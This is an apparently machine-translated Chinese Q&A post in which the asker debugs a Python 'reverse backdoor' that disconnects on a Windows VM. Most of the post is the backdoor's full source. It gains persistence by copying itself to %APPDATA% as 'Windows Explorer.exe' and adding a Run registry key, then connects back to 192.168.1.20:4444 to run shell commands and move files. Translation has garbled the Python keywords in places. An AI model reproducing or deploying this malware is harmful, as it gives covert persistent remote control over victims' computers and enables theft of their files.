本地网络中的套接字连接期间出错(Python)

时间:2020-03-28 08:34:51

标签: python sockets tcp connection

几天后我一直感到困惑,因为我已经在python中完成了我的脚本,这是一个反向连接,因此,为了练习,我首先将主机和VM Kali连接起来,并且可以正常工作,但是在尝试时要将主机与我的VM Windows连接,有一个握手TCP,但是在第一个命令(例如“ dir”或“ pwd”)下,我的Windows VM关闭了连接。

我真的不知道为什么,我在Windows中关闭了防火墙,并且我不认为它来自脚本,因为它与Kali可以正常工作。

#!/usr/bin/env python

导入套接字 导入子流程 导入json 导入操作系统 导入base64 导入系统 导入关闭

后门类:

def __init__(self, ip, port):
    self.become_persistent()
    self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.connection.connect((ip, port))

def become_persistent(self):
    evil_file_location = os.environ["appdata"] + "\\Windows Explorer.exe"
    if not os.path.exists(evil_file_location):
        shutil.copyfile(sys.executable, evil_file_location)
        subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d "' + evil_file_location + '"', shell=True)

def reliable_send(self, data):
    json_data = json.dumps(data)
    self.connection.send(json_data)

def reliable_receive(self):
    json_data = ""
    while True:
        try:
            json_data = json_data + self.connection.recv(1024)
            return json.loads(json_data)
        except ValueError:
            continue

def execute_system_command(self, command):
    return subprocess.check_output(command, shell=True)

def change_working_directory_to(self, path):
    os.chdir(path)
    return "Changing working directory to " + path

def read_file(self, path):
    with open(path, "rb") as file:
        return base64.b64encode(file.read())

def write_file(self, path, content):
    with open(path, "wb") as file:
        file.write(base64.b64decode(content))
        return "[+] Upload successful"


def run(self):
    while True:
        command = self.reliable_receive()

        try:
            if command[0] == "exit":
                self.connection.close()
                exit()
            elif command[0] == "cd" and len(command) > 1:
                command_result = self.change_working_directory_to(command[1])
            elif command[0] == "download":
                command_result = self.read_file(command[1])
            elif command[0] == "upload":
                command_result = self.write_file(command[1], command[2])
            else:
                command_result = self.execute_system_command(command)
        except Exception:
            command_result = "[-] Error during command execution."

        self.reliable_send(command_result)

尝试: my_backdoor =后门(“ 192.168.1.20”,4444) my_backdoor.run() 例外: sys.exit()

该脚本是反向后门。我在Windows的CMD中运行反向后门,并且在关闭连接时没有错误消息。

我迷路了,几天后我一直在搜索,如果有人可以帮助我^^!

0 个答案:

没有答案